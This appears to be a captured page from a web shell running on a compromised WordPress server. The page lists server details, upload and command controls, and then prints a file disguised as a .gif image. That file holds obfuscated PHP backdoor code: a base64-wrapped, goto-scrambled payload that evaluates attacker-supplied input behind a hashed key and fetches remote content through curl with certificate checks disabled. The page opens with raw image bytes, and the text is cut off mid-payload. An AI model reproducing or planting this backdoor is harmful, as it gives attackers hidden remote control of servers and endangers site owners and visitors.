....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 192.168.1.105  /  Your IP : 216.73.216.51
Web Server : nginx/1.14.0
System : Linux dev1 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-38+ubuntu18.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/abookadesk.dk/wp-includes/images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/abookadesk.dk/wp-includes/images/w-cbaabebfdefcbac.gif
<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/var/www/abookadesk.dk/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gbUtNMlpPOXUyMjVUdjZiMTsgRGNFdUxVSVluRVBXQkhXejogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIE5sTGNRZGZGamRkaXZWbkM7IE94cU02T2todHE3U0hUUDA6ICRiRkpGYlR6ajhqbXlQU0U5WyJcMTY1Il0gPSBXM3NROWI2cURYbWdNSkViKCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXHg1Zlx4NTVceDUzXDEwNVx4NTJceDVmXHg0MVx4NDdcMTA1XDExNlwxMjQiXSk7IGdvdG8ga0VuU2NUd0EzdzFzV3RsbTsgbG9XU2J2YVh5N1NrM3BUejogJFVWV0ljMzdldnM3bDZpVjAgPSAkeyRlNjdDNjFlekd0cU5vbEpnWzkgKyAyMl0gLiAkZTY3QzYxZXpHdHFOb2xKZ1s1ICsgNTRdIC4gJGU2N0M2MWV6R3RxTm9sSmdbMjYgKyAyMV0gLiAkZTY3QzYxZXpHdHFOb2xKZ1szICsgNDRdIC4gJGU2N0M2MWV6R3RxTm9sSmdbOSArIDQyXSAuICRlNjdDNjFlekd0cU5vbEpnWzQ3ICsgNl0gLiAkZTY3QzYxZXpHdHFOb2xKZ1sxMyArIDQ0XX07IGdvdG8gVzFwaGFUVHdPYjBQVzVnQzsgekU4a2JqMFdUV1d0UjV2NTogJGJGSkZiVHpqOGpteVBTRTlbIlwxNjMiXSA9IHczc3E5YjZRZFhtZ21KZWIoJE85bUJxUU5xZWZ6cEhZNHMpOyBnb3RvIE94cU02T2todHE3U0hUUDA7IEFGVFc3cGp6VkpKUExMQ2I6IFZvcW9lS3czcm0wbmk4d206OnJSR1BHeUIzWk8ycVBZTlMoKTsgZ290byBaeDhrUkhrTFBWNVJFSHg5OyBXMXBoYVRUd09iMFBXNWdDOiBAKG1kNShtZDUobWQ1KG1kNSgkVVZXSWMzN2V2czdsNmlWMFsyMF0pKSkpID09PSAiXHg2MVx4NjZceDYxXDE0M1w2NFx4MzVcNjdceDM0XDY3XDE0Mlw2N1w2M1x4MzZceDM2XDYxXDY1XDE0NFw2M1x4MzVcMTQ1XHg2M1x4MzNcMTQxXDYxXDcxXHgzMFx4NjNcMTQ2XDE0Nlw2NVwxNDNcNzAiKSAmJiAoY291bnQoJFVWV0ljMzdldnM3bDZpVjApID09IDI2ICYmIGluX2FycmF5KGdldHR5cGUoJFVWV0ljMzdldnM3bDZpVjApIC4gY291bnQoJFVWV0ljMzdldnM3bDZpVjApLCAkVVZXSWMzN2V2czdsNmlWMCkpID8gKCRVVldJYzM3ZXZzN2w2aVYwWzY3XSA9ICRVVldJYzM3ZXZzN2w2aVYwWzY3XSAuICRVVldJYzM3ZXZzN2w2aVYwWzcyXSkgJiYgKCRVVldJYzM3ZXZzN2w2aVYwWzg1XSA9ICRVVldJYzM3ZXZzN2w2aVYwWzY3XSgkVVZXSWMzN2V2czdsNmlWMFs4NV0pKSAmJiBAZXZhbCgkVVZXSWMzN2V2czdsNmlWMFs2N10oJHskVVZXSWMzN2V2czdsNmlWMFs0M119WzE4XSkpIDogJFVWV0ljMzdldnM3bDZpVjA7IGdvdG8gYl9wVHZIOWZSYWp6Z0hTZDsgeHFzZUw3Y0hna1hZQ3NKdjogZXhpdChzdHJyZXYobWQ1KCRfU0VSVkVSWyJceDUzXDEwNVwxMjJceDU2XHg0NVx4NTJceDVmXHg0ZVx4NDFceDRkXDEwNSJdKSkpOyBnb3RvIEZRb2M5MTI5VzJDVDcwUk87IHFWbnQ4R2h0TUtVOHJCYmU6ICRiRkpGYlR6ajhqbXlQU0U5WyJceDcyIl0gPSBXM1NROUI2cUR4bUdtSkViKCRfU0VSVkVSWyJceDUyXHg0NVx4NTFceDU1XDEwNVx4NTNceDU0XHg1Zlx4NTVcMTIyXHg0OSJdKTsgZ290byBYSlo0MDRqM1hCVjBKcm1vOyB4dEZMSHVydnBTa1pUdF9LOiAkYkZKRmJUemo4am15UFNFOVsiXHg3M1x4NmUiXSA9IFczc1E5QjZxRFhNR21KRWIoJF9TRVJWRVJbIlwxMjNceDQzXHg1Mlx4NDlceDUwXHg1NFwxMzdceDRlXHg0MVwxMTVceDQ1Il0pOyBnb3RvIHFWbnQ4R2h0TUtVOHJCYmU7IGk2OTM0MHJfVWlISzVLZ006IGZ1bmN0aW9uIHRKYm5TQ0RlTW1PWjA3V04oJHJsSklxMFVqY1hnZGJ2SjcsICRaRWpQV01LYURaUjBlR0pyID0gYXJyYXkoKSkgeyBnb3RvIFpMYmpfd3Z5T3JzTWtTekk7IFZSYTZlWXBJeEVueEZnZEo6IHRyeSB7IGdvdG8gREVjZzdtWEI5TGJSY3hGZjsgREVjZzdtWEI5TGJSY3hGZjogaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2M1wxNjVceDcyXDE1NFwxMzdcMTQ1XDE3MFx4NjVcMTQzIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJcMTQzXHg3NVx4NzJceDZjXHg1Zlx4NjlceDZlXDE1MVx4NzQiKSkgeyBnb3RvIE02NEVTbElQOEVDQXZVOWY7IH0gZ290byBVN1dPSmNObElZNW9mTXd2OyBtS2VsbnFyaDUySGtGODNpOiBjdXJsX3NldG9wdCgkbWN3NHlHa21NcXk0c0QyMiwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMCk7IGdvdG8gRmtwV01RSlI4ZUwzdUZlbTsgSk9PTWU5VV9UWlNWekgyMTogJEdtbURUZ3kzel9ZSFJqbE4gPSBAZmlsZV9nZXRfY29udGVudHMoJHJsSklxMFVqY1hnZGJ2SjcsIGZhbHNlLCAkeGZ0dHJFTzQyd3dIaHpObSk7IGdvdG8gUktIcW90T01ra0xDX1hwRzsgenhrWFhFcDE0SDRxT1ptMzogJGlsZzZqZ01PeWdVdklvY01bIlwxNDNcMTU3XHg2ZVx4NzRceDY1XHg2ZVwxNjQiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJG1jdzR5R2ttTXF5NHNEMjIsIENVUkxJTkZPX1JFRElSRUNUX1VSTCkpOyBnb3RvIEZvSFpOVU9iYUFCWjVBZms7IHlWN2NRTDJjZ0ZaZ3g5SHE6ICRpbGc2amdNT3lnVXZJb2NNWyJceDc0XDE3MVx4NzBcMTQ1Il0gPSBzdHJ2YWwoY3VybF9nZXRpbmZvKCRtY3c0eUdrbU1xeTRzRDIyLCBDVVJMSU5GT19DT05URU5UX1RZUEUpKTsgZ290byB6eGtYWEVwMTRINHFPWm0zOyBSS0hxb3RPTWtrTENfWHBHOiAkaWxnNmpnTU95Z1V2SW9jTSA9IGFycmF5X21lcmdlKCRpbGc2amdNT3lnVXZJb2NNLCBaRDE4S2pCWmZFbDYyZEtQKCRodHRwX3Jlc3BvbnNlX2hlYWRlcikpOyBnb3RvIGg5eTg2WWlXaFJtakhYV3Y7IEZrcFdNUUpSOGVMM3VGZW06IGN1cmxfc2V0b3B0KCRtY3c0eUdrbU1xeTRzRDIyLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIDApOyBnb3RvIHU2VTNxWEJic0xyN0xISVA7IHhoNFJhMzRVRVpVTXBMMVA6IGN1cmxfc2V0b3B0KCRtY3c0eUdrbU1xeTRzRDIyLCBDVVJMT1BUX1RJTUVPVVQsIDYwKTsgZ290byBtS2VsbnFyaDUySGtGODNpOyBINWpESjFtZkR1M2xjWUdVOiAkeGZ0dHJFTzQyd3dIaHpObSA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkWnZpMzFJOG8wMG01dWlSdCk7IGdvdG8gSk9PTWU5VV9UWlNWekgyMTsgcmhzRUNuZlBZXzFWWU9hMDogY3VybF9zZXRvcHQoJG1jdzR5R2ttTXF5NHNEMjIsIENVUkxPUFRfVVJMLCAkcmxKSXEwVWpjWGdkYnZKNyk7IGdvdG8gV3owbGpjTEpGWWdTX1pGOTsgTm1nc2xqRkxabnhJaFRVSzogaWYgKCFpbl9hcnJheSgkaWxnNmpnTU95Z1V2SW9jTVsiXHg3M1x4NzRcMTQxXDE2NFx4NzVcMTYzIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gc2NXd1h3TzlpZEd2X0tSVzsgfSBnb3RvIHg5SHU2c0IxU0JBbUIySFI7IHVWRmZoZTN5cDNXY1FxMzM6ICRzaGhWNDJvS3Zub0tJUDlOID0gY3VybF9leGVjKCRtY3c0eUdrbU1xeTRzRDIyKTsgZ290byBESmd2WDlGeDZ4a2hWME5oOyBXejBsamNMSkZZZ1NfWkY5OiBjdXJsX3NldG9wdCgkbWN3NHlHa21NcXk0c0QyMiwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7IGdvdG8gRWNxVGx6aW9uSDFPcVVodzsgeDlIdTZzQjFTQkFtQjJIUjogJGlsZzZqZ01PeWdVdklvY01bIlwxNDNcMTU3XDE1Nlx4NzRceDY1XDE1NlwxNjQiXSA9IHN0cnZhbCgkc2hoVjQyb0t2bm9LSVA5Tik7IGdvdG8gWDZUMHhLRVRuNlQzOTRiRTsgdTZVM3FYQmJzTHI3TEhJUDogY3VybF9zZXRvcHQoJG1jdzR5R2ttTXF5NHNEMjIsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIHVWRmZoZTN5cDNXY1FxMzM7IEVjcVRsemlvbkgxT3FVaHc6IGN1cmxfc2V0b3B0KCRtY3c0eUdrbU1xeTRzRDIyLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsgZ290byBWT0pCNXJMWUJOcGUyYTBhOyBWMHplZklGRzF1aHJ6d21IOiBnb3RvIG1PcUJCNVE5UnNZTGdOTUs7IGdvdG8gaUtSV1RFM0NldGZjdXozbDsgREpndlg5Rng2eGtoVjBOaDogJGlsZzZqZ01PeWdVdklvY01bIlx4NzNceDc0XDE0MVwxNjRceDc1XDE2MyJdID0gaW50dmFsKGN1cmxfZ2V0aW5mbygkbWN3NHlHa21NcXk0c0QyMiwgQ1VSTElORk9fSFRUUF9DT0RFKSk7IGdvdG8geVY3Y1FMMmNnRlpneDlIcTsgWDZUMHhLRVRuNlQzOTRiRTogc2NXd1h3TzlpZEd2X0tSVzogZ290byBhTWd6c0RuV2JNZG1oNEVlOyBVN1dPSmNObElZNW9mTXd2OiBpZiAoaW5pX2dldCgiXDE0MVx4NmNcMTU0XDE1N1wxNjdceDVmXDE2NVwxNjJceDZjXDEzN1x4NjZcMTU3XHg3MFwxNDVcMTU2IikpIHsgZ290byB5T2R0OE03a01kdXczZWJpOyB9IGdvdG8gVjB6ZWZJRkcxdWhyendtSDsgRk8wMTJ6djVJUm45WjR6RDogJFp2aTMxSThvMDBtNXVpUnQgPSBhcnJheSgiXDE1MFx4NzRceDc0XHg3MCIgPT4gYXJyYXkoIlwxNTVceDY1XDE2NFwxNTBcMTU3XHg2NCIgPT4gIlwxMDdcMTA1XHg1NCIsICJceDc0XHg2OVx4NmRcMTQ1XDE1N1wxNjVcMTY0IiA9PiA2MCwgIlx4NjZceDZmXDE1NFwxNTRceDZmXHg3N1wxMzdcMTU0XDE1N1x4NjNceDYxXHg3NFx4NjlceDZmXDE1NiIgPT4gMCksICJceDczXDE2M1x4NmMiID0+IGFycmF5KCJcMTY2XHg2NVwxNjJcMTUxXDE0NlwxNzFceDVmXDE2MFx4NjVceDY1XHg3MiIgPT4gZmFsc2UsICJceDc2XDE0NVx4NzJcMTUxXHg2Nlx4NzlceDVmXHg3MFx4NjVceDY1XHg3Mlx4NWZcMTU2XDE0MVwxNTVceDY1IiA9PiBmYWxzZSkpOyBnb3RvIEg1akRKMW1mRHUzbGNZR1U7IGFNZ3pzRG5XYk1kbWg0RWU6IGdvdG8gbU9xQkI1UTlSc1lMZ05NSzsgZ290byBtWWVxTW5RZUJ2YWh3WHpKOyBWT0pCNXJMWUJOcGUyYTBhOiBjdXJsX3NldG9wdCgkbWN3NHlHa21NcXk0c0QyMiwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMjApOyBnb3RvIHhoNFJhMzRVRVpVTXBMMVA7IGlSTFFMNTgyYk96M1U4R0s6ICRtY3c0eUdrbU1xeTRzRDIyID0gY3VybF9pbml0KCk7IGdvdG8gcmhzRUNuZlBZXzFWWU9hMDsgaDl5ODZZaVdoUm1qSFhXdjogaWYgKCFpbl9hcnJheSgkaWxnNmpnTU95Z1V2SW9jTVsiXDE2M1x4NzRceDYxXHg3NFwxNjVceDczIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gS2NVWTc4U2Y0M3djamUwUDsgfSBnb3RvIFBzd0pvS3JVQllSU04zTlU7IEZvSFpOVU9iYUFCWjVBZms6IEBjdXJsX2Nsb3NlKCRtY3c0eUdrbU1xeTRzRDIyKTsgZ290byBObWdzbGpGTFpueEloVFVLOyB5a0lYZ19ZUTV1TlczeEFUOiBLY1VZNzhTZjQzd2NqZTBQOiBnb3RvIHZEZnN3bDczN2ZQWTZsSFQ7IHZEZnN3bDczN2ZQWTZsSFQ6IG1PcUJCNVE5UnNZTGdOTUs6IGdvdG8gYm9WeFJ1THlJdzFxYk1LNjsgaUtSV1RFM0NldGZjdXozbDogTTY0RVNsSVA4RUNBdlU5ZjogZ290byBpUkxRTDU4MmJPejNVOEdLOyBtWWVxTW5RZUJ2YWh3WHpKOiB5T2R0OE03a01kdXczZWJpOiBnb3RvIEZPMDEyenY1SVJuOVo0ekQ7IFBzd0pvS3JVQllSU04zTlU6ICRpbGc2amdNT3lnVXZJb2NNWyJceDYzXDE1N1x4NmVcMTY0XDE0NVwxNTZceDc0Il0gPSBzdHJ2YWwoJEdtbURUZ3kzel9ZSFJqbE4pOyBnb3RvIHlrSVhnX1lRNXVOVzN4QVQ7IGJvVnhSdUx5SXcxcWJNSzY6IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkV2pYcmR0ZVhYZ3lXRkhDRikgeyB9IGdvdG8gWUZMbWlmRGtkWjdKc1phXzsgYVdDZU5VZnI0a1l